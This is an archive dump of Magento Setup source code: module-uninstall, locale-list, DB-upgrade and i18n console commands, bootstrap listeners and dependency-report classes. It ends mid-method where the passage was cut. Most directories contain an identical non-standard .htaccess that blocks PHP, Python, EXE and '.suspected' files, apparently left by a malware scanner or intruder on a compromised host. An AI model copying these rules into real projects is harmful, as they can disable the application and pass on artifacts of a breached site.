self::INPUT_KEY_NON_COMPOSER_MODULE, null, InputOption::VALUE_NONE, 'All modules, that will be past here will be non composer based' ) ]; $this->setName('module:uninstall') ->setDescription('Uninstalls modules installed by composer') ->setDefinition($options); parent::configure(); } /** * {@inheritdoc} */ protected function isModuleRequired() { return true; } /** * {@inheritdoc} * @SuppressWarnings(PHPMD.CyclomaticComplexity) * @SuppressWarnings(PHPMD.NPathComplexity) */ protected function execute(InputInterface $input, OutputInterface $output) { if (!$this->deploymentConfig->isAvailable()) { $output->writeln( '<error>You cannot run this command because the Magento application is not installed.</error>' ); // we must have an exit code higher than zero to indicate something was wrong return Cli::RETURN_FAILURE; } $modules = $input->getArgument(self::INPUT_KEY_MODULES); if ($input->getOption(self::INPUT_KEY_NON_COMPOSER_MODULE)) { foreach ($modules as $moduleName) { $this->getPatchApplier()->revertDataPatches($moduleName); } return Cli::RETURN_SUCCESS; } // validate modules input $messages = $this->validate($modules); if (!empty($messages)) { $output->writeln($messages); // we must have an exit code higher than zero to indicate something was wrong return Cli::RETURN_FAILURE; } // check dependencies $dependencyMessages = $this->checkDependencies($modules); if (!empty($dependencyMessages)) { $output->writeln($dependencyMessages); // we must have an exit code higher than zero to indicate something was wrong return Cli::RETURN_FAILURE; } $helper = $this->getHelper('question'); $question = new ConfirmationQuestion( 'You are about to remove code and/or database tables. Are you sure?[y/N]', false ); if (!$helper->ask($input, $output, $question) && $input->isInteractive()) { return Cli::RETURN_FAILURE; } $result = $this->maintenanceModeEnabler->executeInMaintenanceMode( function () use ($input, $output, $modules, $helper) { try { $this->takeBackup($input, $output); $dbBackupOption = $input->getOption(self::INPUT_KEY_BACKUP_DB); if ($input->getOption(self::INPUT_KEY_REMOVE_DATA)) { $this->removeData($modules, $output, $dbBackupOption); } else { if (!empty($this->collector->collectUninstall())) { $question = new ConfirmationQuestion( 'You are about to remove a module(s) that might have database data. ' . 'Do you want to remove the data from database?[y/N]', false ); if ($helper->ask($input, $output, $question) || !$input->isInteractive()) { $this->removeData($modules, $output, $dbBackupOption); } } else { $output->writeln( '<info>You are about to remove a module(s) that might have database data. ' . 'Remove the database data manually after uninstalling, if desired.</info>' ); } } $this->moduleRegistryUninstaller->removeModulesFromDb($output, $modules); $this->moduleRegistryUninstaller->removeModulesFromDeploymentConfig($output, $modules); $this->moduleUninstaller->uninstallCode($output, $modules); $this->cleanup($input, $output); return Cli::RETURN_SUCCESS; } catch (\Exception $e) { $output->writeln('<error>' . $e->getMessage() . '</error>'); $output->writeln('<error>Please disable maintenance mode after you resolved above issues</error>'); return Cli::RETURN_FAILURE; } }, $output, true ); return $result; } /** * Check backup options and take backup appropriately * * @param InputInterface $input * @param OutputInterface $output * @return void */ private function takeBackup(InputInterface $input, OutputInterface $output) { $time = time(); if ($input->getOption(self::INPUT_KEY_BACKUP_CODE)) { $codeBackup = $this->backupRollbackFactory->create($output); $codeBackup->codeBackup($time); } if ($input->getOption(self::INPUT_KEY_BACKUP_MEDIA)) { $mediaBackup = $this->backupRollbackFactory->create($output); $mediaBackup->codeBackup($time, Factory::TYPE_MEDIA); } if ($input->getOption(self::INPUT_KEY_BACKUP_DB)) { $dbBackup = $this->backupRollbackFactory->create($output); $this->setAreaCode(); $dbBackup->dbBackup($time); } } /** * Invoke remove data routine in each specified module * * @param string[] $modules * @param OutputInterface $output * @param bool $dbBackupOption * @return void */ private function removeData(array $modules, OutputInterface $output, $dbBackupOption) { if (!$dbBackupOption) { $output->writeln('<error>You are removing data without a database backup.</error>'); } else { $output->writeln('<info>Removing data</info>'); } $this->moduleUninstaller->uninstallData($output, $modules); } /** * Validate list of modules against installed composer packages and return error messages * * @param string[] $modules * @return string[] */ protected function validate(array $modules) { $messages = []; $unknownPackages = []; $unknownModules = []; $installedPackages = $this->composer->getRootRequiredPackages(); foreach ($modules as $module) { if (array_search($this->packageInfo->getPackageName($module), $installedPackages) === false) { $unknownPackages[] = $module; } if (!$this->fullModuleList->has($module)) { $unknownModules[] = $module; } } $unknownPackages = array_diff($unknownPackages, $unknownModules); if (!empty($unknownPackages)) { $text = count($unknownPackages) > 1 ? ' are not installed composer packages' : ' is not an installed composer package'; $messages[] = '<error>' . implode(', ', $unknownPackages) . $text . '</error>'; } if (!empty($unknownModules)) { $messages[] = '<error>Unknown module(s): ' . implode(', ', $unknownModules) . '</error>'; } return $messages; } /** * Check for dependencies to modules, return error messages * * @param string[] $modules * @return string[] */ private function checkDependencies(array $modules) { $messages = []; $dependencies = $this->dependencyChecker->checkDependenciesWhenDisableModules( $modules, $this->fullModuleList->getNames() ); foreach ($dependencies as $module => $dependingModules) { if (!empty($dependingModules)) { $messages[] = "<error>Cannot uninstall module '$module' because the following module(s) depend on it:</error>" . PHP_EOL . "\t<error>" . implode('</error>' . PHP_EOL . "\t<error>", array_keys($dependingModules)) . "</error>"; } } return $messages; } /** * Sets area code to start a session for database backup and rollback * * @return void */ private function setAreaCode() { $areaCode = 'adminhtml'; /** @var \Magento\Framework\App\State $appState */ $appState = $this->objectManager->get(\Magento\Framework\App\State::class); $appState->setAreaCode($areaCode); /** @var \Magento\Framework\ObjectManager\ConfigLoaderInterface $configLoader */ $configLoader = $this->objectManager->get(\Magento\Framework\ObjectManager\ConfigLoaderInterface::class); $this->objectManager->configure($configLoader->load($areaCode)); } } Magento/Setup/Console/Command/InfoLanguageListCommand.php000077700000003524151323623130017433 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Magento\Framework\App\ObjectManager; use Magento\Framework\Setup\Lists; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Helper\TableFactory; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; /** * Command prints list of available language locales */ class InfoLanguageListCommand extends Command { /** * List model provides lists of available options for currency, language locales, timezones * * @var Lists */ private $lists; /** * @var TableFactory */ private $tableHelperFactory; /** * @param Lists $lists * @param TableFactory $tableHelperFactory */ public function __construct(Lists $lists, TableFactory $tableHelperFactory = null) { $this->lists = $lists; $this->tableHelperFactory = $tableHelperFactory ?: ObjectManager::getInstance()->create(TableFactory::class); parent::__construct(); } /** * {@inheritdoc} */ protected function configure() { $this->setName('info:language:list') ->setDescription('Displays the list of available language locales'); parent::configure(); } /** * {@inheritdoc} */ protected function execute(InputInterface $input, OutputInterface $output) { $tableHelper = $this->tableHelperFactory->create(['output' => $output]); $tableHelper->setHeaders(['Language', 'Code']); foreach ($this->lists->getLocaleList() as $key => $locale) { $tableHelper->addRow([$locale, $key]); } $tableHelper->render(); return \Magento\Framework\Console\Cli::RETURN_SUCCESS; } } Magento/Setup/Console/Command/DbDataUpgradeCommand.php000077700000003772151323623130016674 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Magento\Framework\App\DeploymentConfig; use Magento\Setup\Model\InstallerFactory; use Magento\Framework\Setup\ConsoleLogger; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; /** * Command for install and update of data in DB */ class DbDataUpgradeCommand extends AbstractSetupCommand { /** * Factory to create installer * * @var InstallerFactory */ private $installFactory; /** * Deployment configuration * * @var DeploymentConfig */ private $deploymentConfig; /** * Inject dependencies * * @param InstallerFactory $installFactory * @param DeploymentConfig $deploymentConfig */ public function __construct(InstallerFactory $installFactory, DeploymentConfig $deploymentConfig) { $this->installFactory = $installFactory; $this->deploymentConfig = $deploymentConfig; parent::__construct(); } /** * Initialization of the command * * @return void */ protected function configure() { $this->setName('setup:db-data:upgrade')->setDescription('Installs and upgrades data in the DB'); parent::configure(); } /** * {@inheritdoc} */ protected function execute(InputInterface $input, OutputInterface $output) { if (!$this->deploymentConfig->isAvailable()) { $output->writeln("<info>No information is available: the Magento application is not installed.</info>"); // we must have an exit code higher than zero to indicate something was wrong return \Magento\Framework\Console\Cli::RETURN_FAILURE; } $installer = $this->installFactory->create(new ConsoleLogger($output)); $installer->installDataFixtures(); return \Magento\Framework\Console\Cli::RETURN_SUCCESS; } } Magento/Setup/Console/Command/I18nCollectPhrasesCommand.php000077700000005572151323623130017620 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console\Command; use Magento\Setup\Module\I18n\ServiceLocator; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; /** * Command for i18n dictionary generation */ class I18nCollectPhrasesCommand extends Command { /**#@+ * Keys and shortcuts for input arguments and options */ const INPUT_KEY_DIRECTORY = 'directory'; const INPUT_KEY_OUTPUT = 'output'; const SHORTCUT_KEY_OUTPUT = 'o'; const INPUT_KEY_MAGENTO = 'magento'; const SHORTCUT_KEY_MAGENTO = 'm'; /**#@- */ /** * {@inheritdoc} */ protected function configure() { $this->setName('i18n:collect-phrases') ->setDescription('Discovers phrases in the codebase'); $this->setDefinition([ new InputArgument( self::INPUT_KEY_DIRECTORY, InputArgument::OPTIONAL, 'Directory path to parse. Not needed if --magento flag is set' ), new InputOption( self::INPUT_KEY_OUTPUT, self::SHORTCUT_KEY_OUTPUT, InputOption::VALUE_REQUIRED, 'Path (including filename) to an output file. With no file specified, defaults to stdout.' ), new InputOption( self::INPUT_KEY_MAGENTO, self::SHORTCUT_KEY_MAGENTO, InputOption::VALUE_NONE, 'Use the --magento parameter to parse the current Magento codebase.' . ' Omit the parameter if a directory is specified.' ), ]); } /** * {@inheritdoc} */ protected function execute(InputInterface $input, OutputInterface $output) { $directory = $input->getArgument(self::INPUT_KEY_DIRECTORY); if ($input->getOption(self::INPUT_KEY_MAGENTO)) { $directory = BP; if ($input->getArgument(self::INPUT_KEY_DIRECTORY)) { throw new \InvalidArgumentException('Directory path is not needed when --magento flag is set.'); } } elseif (!$input->getArgument(self::INPUT_KEY_DIRECTORY)) { throw new \InvalidArgumentException('Directory path is needed when --magento flag is not set.'); } $generator = ServiceLocator::getDictionaryGenerator(); $generator->generate( $directory, $input->getOption(self::INPUT_KEY_OUTPUT), $input->getOption(self::INPUT_KEY_MAGENTO) ); $output->writeln('<info>Dictionary successfully processed.</info>'); return \Magento\Framework\Console\Cli::RETURN_SUCCESS; } } Magento/Setup/Console/CompilerPreparation.php000077700000011265151323623130015343 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Console; use Magento\Framework\App\Bootstrap; use Magento\Framework\App\Filesystem\DirectoryList; use Magento\Framework\Console\Exception\GenerationDirectoryAccessException; use Magento\Framework\Console\GenerationDirectoryAccess; use Magento\Framework\Exception\FileSystemException; use Magento\Framework\Filesystem\Driver\File; use Magento\Framework\Phrase; use Magento\Setup\Console\Command\DiCompileCommand; use Magento\Setup\Mvc\Bootstrap\InitParamListener; use Symfony\Component\Console\Input\ArgvInput; use Laminas\ServiceManager\ServiceManager; /** * Class prepares folders for code generation */ class CompilerPreparation { /** * @var ServiceManager */ private $serviceManager; /** * @var ArgvInput */ private $input; /** * @var File */ private $filesystemDriver; /** * @var GenerationDirectoryAccess */ private $generationDirectoryAccess; /** * @param ServiceManager $serviceManager * @param ArgvInput $input * @param File $filesystemDriver */ public function __construct( ServiceManager $serviceManager, ArgvInput $input, File $filesystemDriver ) { $this->serviceManager = $serviceManager; $this->input = $input; $this->filesystemDriver = $filesystemDriver; } /** * Determine whether a CLI command is for compilation, and if so, clear the directory. * * @throws GenerationDirectoryAccessException If generation directory is read-only * @return void */ public function handleCompilerEnvironment() { if (!$this->shouldInvalidateCompiledDI()) { return; } if (!$this->getGenerationDirectoryAccess()->check()) { throw new GenerationDirectoryAccessException(); } $mageInitParams = $this->serviceManager->get(InitParamListener::BOOTSTRAP_PARAM); $mageDirs = isset($mageInitParams[Bootstrap::INIT_PARAM_FILESYSTEM_DIR_PATHS]) ? $mageInitParams[Bootstrap::INIT_PARAM_FILESYSTEM_DIR_PATHS] : []; $directoryList = new DirectoryList(BP, $mageDirs); $compileDirList = [ $directoryList->getPath(DirectoryList::GENERATED_CODE), $directoryList->getPath(DirectoryList::GENERATED_METADATA), ]; foreach ($compileDirList as $compileDir) { if ($this->filesystemDriver->isExists($compileDir)) { $this->filesystemDriver->deleteDirectory($compileDir); } } } /** * Retrieves command list with commands which invalidates compiler * * @return array */ private function getCompilerInvalidationCommands() { return [ DiCompileCommand::NAME, 'module:disable', 'module:enable', 'module:uninstall', ]; } /** * Retrieves generation directory access checker. * * @return GenerationDirectoryAccess the generation directory access checker */ private function getGenerationDirectoryAccess() { if (null === $this->generationDirectoryAccess) { $this->generationDirectoryAccess = new GenerationDirectoryAccess($this->serviceManager); } return $this->generationDirectoryAccess; } /** * Checks if the command being executed should invalidate compiled DI. * * @return bool */ private function shouldInvalidateCompiledDI(): bool { $compilationCommands = $this->getCompilerInvalidationCommands(); $cmdName = $this->input->getFirstArgument(); $isHelpOption = $this->input->hasParameterOption('--help') || $this->input->hasParameterOption('-h'); $invalidate = false; if (!$isHelpOption) { $invalidate = in_array($cmdName, $compilationCommands); if (!$invalidate) { // Check if it's an abbreviation of compilation commands. $expr = preg_replace_callback( '{([^:]+|)}', function ($matches) { return preg_quote($matches[1]) . '[^:]*'; }, $cmdName ); $commands = preg_grep('{^' . $expr . '$}', $compilationCommands); if (empty($commands)) { $commands = preg_grep('{^' . $expr . '$}i', $compilationCommands); } if (count($commands) === 1) { $invalidate = true; } } } return $invalidate; } } Magento/Setup/Console/.htaccess000077700000000177151323623130012451 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Console/InputValidationException.php000077700000000453151323623130016352 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Console; use Symfony\Component\Console\Exception\RuntimeException; /** * Input validation exception. */ class InputValidationException extends RuntimeException { } Magento/Setup/.htaccess000077700000000177151323623130011047 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Mvc/Bootstrap/InitParamListener.php000077700000014102151323623130016047 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Mvc\Bootstrap; use Magento\Framework\App\Bootstrap as AppBootstrap; use Magento\Framework\App\Filesystem\DirectoryList; use Magento\Framework\App\ObjectManager; use Magento\Framework\App\Request\Http; use Magento\Framework\App\State; use Magento\Framework\Filesystem; use Magento\Framework\Shell\ComplexParameter; use Laminas\Console\Request; use Laminas\EventManager\EventManagerInterface; use Laminas\EventManager\ListenerAggregateInterface; use Laminas\Mvc\Application; use Laminas\Mvc\MvcEvent; use Laminas\Router\Http\RouteMatch; use Laminas\ServiceManager\FactoryInterface; use Laminas\ServiceManager\ServiceLocatorInterface; use Laminas\Stdlib\RequestInterface; use Laminas\Uri\UriInterface; /** * A listener that injects relevant Magento initialization parameters and initializes filesystem * * @SuppressWarnings(PHPMD.CouplingBetweenObjects) * @codingStandardsIgnoreStart */ class InitParamListener implements ListenerAggregateInterface, FactoryInterface { /** * A CLI parameter for injecting bootstrap variables */ const BOOTSTRAP_PARAM = 'magento-init-params'; /** * @var \Laminas\Stdlib\CallbackHandler[] */ private $listeners = []; /** * @inheritdoc * * The $priority argument is added to support latest versions of Laminas Event Manager. * Starting from Laminas Event Manager 3.0.0 release the ListenerAggregateInterface::attach() * supports the `priority` argument. * * @param EventManagerInterface $events * @param int $priority * @return void */ public function attach(EventManagerInterface $events, $priority = 1) { $sharedEvents = $events->getSharedManager(); $sharedEvents->attach( Application::class, MvcEvent::EVENT_BOOTSTRAP, [$this, 'onBootstrap'], $priority ); $this->listeners = $sharedEvents->getListeners([Application::class], MvcEvent::EVENT_BOOTSTRAP); } /** * @inheritdoc * * @param EventManagerInterface $events * @return void */ public function detach(EventManagerInterface $events) { foreach ($this->listeners as $index => $listener) { $events->detach($listener); unset($this->listeners[$index]); } } /** * An event subscriber that initializes DirectoryList and Filesystem objects in ZF application bootstrap * * @param MvcEvent $e * @return void */ public function onBootstrap(MvcEvent $e) { /** @var Application $application */ $application = $e->getApplication(); $initParams = $application->getServiceManager()->get(self::BOOTSTRAP_PARAM); $directoryList = $this->createDirectoryList($initParams); $serviceManager = $application->getServiceManager(); $serviceManager->setService(\Magento\Framework\App\Filesystem\DirectoryList::class, $directoryList); $serviceManager->setService(\Magento\Framework\Filesystem::class, $this->createFilesystem($directoryList)); } /** * @inheritdoc * * @param ServiceLocatorInterface $serviceLocator * @return mixed */ public function createService(ServiceLocatorInterface $serviceLocator) { return $this->extractInitParameters($serviceLocator->get('Application')); } /** * Collects init params configuration from multiple sources * * Each next step overwrites previous, whenever data is available, in the following order: * 1: ZF application config * 2: environment * 3: CLI parameters (if the application is running in CLI mode) * * @param Application $application * @return array */ private function extractInitParameters(Application $application) { $result = []; $config = $application->getConfig(); if (isset($config[self::BOOTSTRAP_PARAM])) { $result = $config[self::BOOTSTRAP_PARAM]; } foreach ([State::PARAM_MODE, AppBootstrap::INIT_PARAM_FILESYSTEM_DIR_PATHS] as $initKey) { if (isset($_SERVER[$initKey])) { $result[$initKey] = $_SERVER[$initKey]; } } $result = array_replace_recursive($result, $this->extractFromCli($application->getRequest())); return $result; } /** * Extracts the directory paths from a CLI request * * Uses format of a URL query * * @param RequestInterface $request * @return array */ private function extractFromCli(RequestInterface $request) { if (!($request instanceof Request)) { return []; } $bootstrapParam = new ComplexParameter(self::BOOTSTRAP_PARAM); foreach ($request->getContent() as $paramStr) { $result = $bootstrapParam->getFromString($paramStr); if (!empty($result)) { return $result; } } return []; } /** * Initializes DirectoryList service * * @param array $initParams * @return DirectoryList * @throws \LogicException */ public function createDirectoryList($initParams) { if (!isset($initParams[AppBootstrap::INIT_PARAM_FILESYSTEM_DIR_PATHS][DirectoryList::ROOT])) { throw new \LogicException('Magento root directory is not specified.'); } $config = $initParams[AppBootstrap::INIT_PARAM_FILESYSTEM_DIR_PATHS]; $rootDir = $config[DirectoryList::ROOT][DirectoryList::PATH]; return new DirectoryList($rootDir, $config); } /** * Initializes Filesystem service * * @param DirectoryList $directoryList * @return Filesystem */ public function createFilesystem(DirectoryList $directoryList) { $driverPool = new Filesystem\DriverPool(); return new Filesystem( $directoryList, new Filesystem\Directory\ReadFactory($driverPool), new Filesystem\Directory\WriteFactory($driverPool) ); } } Magento/Setup/Mvc/Bootstrap/.htaccess000077700000000177151323623130013551 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Mvc/View/Http/.htaccess000077700000000177151323623130013425 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Mvc/View/Http/InjectTemplateListener.php000077700000003522151323623130016753 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Mvc\View\Http; use Laminas\Mvc\MvcEvent; use Laminas\Mvc\View\Http\InjectTemplateListener as LaminasInjectTemplateListener; /** * InjectTemplateListener for HTTP request */ class InjectTemplateListener extends LaminasInjectTemplateListener { /** * Determine the top-level namespace of the controller * * @param string $controller * @return string */ protected function deriveModuleNamespace($controller) { if (!strstr($controller, '\\')) { return ''; } // Retrieve the first two elemenents representing the vendor and module name. $nsArray = explode('\\', $controller); $subNsArray = array_slice($nsArray, 0, 2); return implode('/', $subNsArray); } /** * Get controller sub-namespace * * @param string $namespace * @return string */ protected function deriveControllerSubNamespace($namespace) { if (!strstr($namespace, '\\')) { return ''; } $nsArray = explode('\\', $namespace); // Remove the first three elements representing the vendor, module name and controller directory. $subNsArray = array_slice($nsArray, 3); if (empty($subNsArray)) { return ''; } return implode('/', $subNsArray); } /** * Inject a template into the view model, if none present * * Template is derived from the controller found in the route match, and, * optionally, the action, if present. * * @param MvcEvent $e * @return void */ public function injectTemplate(MvcEvent $e) { $e->getRouteMatch()->setParam('action', null); parent::injectTemplate($e); } } Magento/Setup/Mvc/View/.htaccess000077700000000177151323623130012506 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Mvc/.htaccess000077700000000177151323623130011574 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Dependency/Report/Circular/Writer.php000077700000002442151323623130017555 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency\Report\Circular; use Magento\Setup\Module\Dependency\Report\Writer\Csv\AbstractWriter; /** * Csv file writer for circular dependencies report */ class Writer extends AbstractWriter { /** * Modules chain separator */ const MODULES_SEPARATOR = '->'; /** * Template method. Prepare data step * * @param \Magento\Setup\Module\Dependency\Report\Circular\Data\Config $config * @return array */ protected function prepareData($config) { $data[] = ['Circular dependencies:', 'Total number of chains']; $data[] = ['', $config->getDependenciesCount()]; $data[] = []; if ($config->getDependenciesCount()) { $data[] = ['Circular dependencies for each module:', '']; foreach ($config->getModules() as $module) { $data[] = [$module->getName(), $module->getChainsCount()]; foreach ($module->getChains() as $chain) { $data[] = [implode(self::MODULES_SEPARATOR, $chain->getModules())]; } $data[] = []; } } array_pop($data); return $data; } } Magento/Setup/Module/Dependency/Report/Circular/Builder.php000077700000004515151323623130017672 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency\Report\Circular; use Magento\Setup\Module\Dependency\Circular; use Magento\Setup\Module\Dependency\ParserInterface; use Magento\Setup\Module\Dependency\Report\Builder\AbstractBuilder; use Magento\Setup\Module\Dependency\Report\WriterInterface; /** * Dependencies report builder */ class Builder extends AbstractBuilder { /** * Circular dependencies builder * * @var \Magento\Setup\Module\Dependency\Circular */ protected $circularBuilder; /** * Builder constructor * * @param \Magento\Setup\Module\Dependency\ParserInterface $dependenciesParser * @param \Magento\Setup\Module\Dependency\Report\WriterInterface $reportWriter * @param \Magento\Setup\Module\Dependency\Circular $circularBuilder */ public function __construct( ParserInterface $dependenciesParser, WriterInterface $reportWriter, Circular $circularBuilder ) { parent::__construct($dependenciesParser, $reportWriter); $this->circularBuilder = $circularBuilder; } /** * Template method. Prepare data for writer step * * @param array $modulesData * @return \Magento\Setup\Module\Dependency\Report\Circular\Data\Config */ protected function buildData($modulesData) { $modules = []; foreach ($this->buildCircularDependencies($modulesData) as $moduleName => $modulesChains) { $chains = []; foreach ($modulesChains as $modulesChain) { $chains[] = new Data\Chain($modulesChain); } $modules[] = new Data\Module($moduleName, $chains); } return new Data\Config($modules); } /** * Build circular dependencies data by dependencies data * * @param array $modulesData * @return array */ protected function buildCircularDependencies($modulesData) { $dependencies = []; foreach ($modulesData as $moduleData) { foreach ($moduleData['dependencies'] as $dependencyData) { $dependencies[$moduleData['name']][] = $dependencyData['module']; } } return $this->circularBuilder->buildCircularDependencies($dependencies); } } Magento/Setup/Module/Dependency/Report/Circular/Data/Config.php000077700000001237151323623130020360 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency\Report\Circular\Data; use Magento\Setup\Module\Dependency\Report\Data\Config\AbstractConfig; /** * Config * * @method \Magento\Setup\Module\Dependency\Report\Circular\Data\Module[] getModules() */ class Config extends AbstractConfig { /** * {@inheritdoc} */ public function getDependenciesCount() { $dependenciesCount = 0; foreach ($this->getModules() as $module) { $dependenciesCount += $module->getChainsCount(); } return $dependenciesCount; } } Magento/Setup/Module/Dependency/Report/Circular/Data/Module.php000077700000002351151323623130020376 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency\Report\Circular\Data; /** * Module */ class Module { /** * Module name * * @var string */ protected $name; /** * Circular dependencies chains * * @var \Magento\Setup\Module\Dependency\Report\Circular\Data\Chain[] */ protected $chains; /** * Module construct * * @param array $name * @param \Magento\Setup\Module\Dependency\Report\Circular\Data\Chain[] $chains */ public function __construct($name, array $chains = []) { $this->name = $name; $this->chains = $chains; } /** * Get name * * @return string */ public function getName() { return $this->name; } /** * Get circular dependencies chains * * @return \Magento\Setup\Module\Dependency\Report\Circular\Data\Chain[] */ public function getChains() { return $this->chains; } /** * Get circular dependencies chains count * * @return int */ public function getChainsCount() { return count($this->chains); } } Magento/Setup/Module/Dependency/Report/Circular/Data/Chain.php000077700000000773151323623130020201 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency\Report\Circular\Data; /** * Chain */ class Chain { /** * Chain construct * * @param array $modules */ public function __construct($modules) { $this->modules = $modules; } /** * Get modules * * @return array */ public function getModules() { return $this->modules; } } Magento/Setup/Module/Dependency/Report/Circular/Data/.htaccess000077700000000177151323623130020242 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Dependency/Report/Circular/.htaccess000077700000000177151323623130017371 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Dependency/Report/Dependency/Writer.php000077700000003507151323623130020072 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency\Report\Dependency; use Magento\Setup\Module\Dependency\Report\Writer\Csv\AbstractWriter; /** * Csv file writer for modules dependencies report */ class Writer extends AbstractWriter { /** * Template method. Prepare data step * * @param \Magento\Setup\Module\Dependency\Report\Dependency\Data\Config $config * @return array */ protected function prepareData($config) { $data[] = ['', 'All', 'Hard', 'Soft']; $data[] = [ 'Total number of dependencies', $config->getDependenciesCount(), $config->getHardDependenciesCount(), $config->getSoftDependenciesCount(), ]; $data[] = []; if ($config->getDependenciesCount()) { $data[] = ['Dependencies for each module:', 'All', 'Hard', 'Soft']; foreach ($config->getModules() as $module) { if ($module->getDependenciesCount()) { $data[] = [ $module->getName(), $module->getDependenciesCount(), $module->getHardDependenciesCount(), $module->getSoftDependenciesCount(), ]; foreach ($module->getDependencies() as $dependency) { $data[] = [ ' -- ' . $dependency->getModule(), '', (int)$dependency->isHard(), (int)(!$dependency->isHard()), ]; } $data[] = []; } } } array_pop($data); return $data; } } Magento/Setup/Module/Dependency/Report/Dependency/Builder.php000077700000001745151323623130020206 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency\Report\Dependency; use Magento\Setup\Module\Dependency\Report\Builder\AbstractBuilder; /** * Modules dependencies report builder */ class Builder extends AbstractBuilder { /** * Template method. Prepare data for writer step * * @param array $modulesData * @return \Magento\Setup\Module\Dependency\Report\Dependency\Data\Config */ protected function buildData($modulesData) { $modules = []; foreach ($modulesData as $moduleData) { $dependencies = []; foreach ($moduleData['dependencies'] as $dependencyData) { $dependencies[] = new Data\Dependency($dependencyData['module'], $dependencyData['type']); } $modules[] = new Data\Module($moduleData['name'], $dependencies); } return new Data\Config($modules); } } Magento/Setup/Module/Dependency/Report/Dependency/Data/Config.php000077700000002334151323623130020671 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency\Report\Dependency\Data; use Magento\Setup\Module\Dependency\Report\Data\Config\AbstractConfig; /** * Config * * @method \Magento\Setup\Module\Dependency\Report\Dependency\Data\Module[] getModules() */ class Config extends AbstractConfig { /** * {@inheritdoc} */ public function getDependenciesCount() { return $this->getHardDependenciesCount() + $this->getSoftDependenciesCount(); } /** * Get hard dependencies count * * @return int */ public function getHardDependenciesCount() { $dependenciesCount = 0; foreach ($this->getModules() as $module) { $dependenciesCount += $module->getHardDependenciesCount(); } return $dependenciesCount; } /** * Get soft dependencies count * * @return int */ public function getSoftDependenciesCount() { $dependenciesCount = 0; foreach ($this->getModules() as $module) { $dependenciesCount += $module->getSoftDependenciesCount(); } return $dependenciesCount; } } Magento/Setup/Module/Dependency/Report/Dependency/Data/Module.php000077700000003761151323623130020716 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Dependency\Report\Dependency\Data; /** * Module */ class Module { /** * Module name * * @var string */ protected $name; /** * Module dependencies * * @var \Magento\Setup\Module\Dependency\Report\Dependency\Data\Dependency[] */ protected $dependencies; /** * Module construct * * @param array $name * @param \Magento\Setup\Module\Dependency\Report\Dependency\Data\Dependency[] $dependencies */ public function __construct($name, array $dependencies = []) { $this->name = $name; $this->dependencies = $dependencies; } /** * Get name * * @return string */ public function getName() { return $this->name; } /** * Get dependencies * * @return \Magento\Setup\Module\Dependency\Report\Dependency\Data\Dependency[] */ public function getDependencies() { return $this->dependencies; } /** * Get total dependencies count * * @return int */ public function getDependenciesCount() { return count($this->dependencies); } /** * Get hard dependencies count * * @return int */ public function getHardDependenciesCount() { $dependenciesCount = 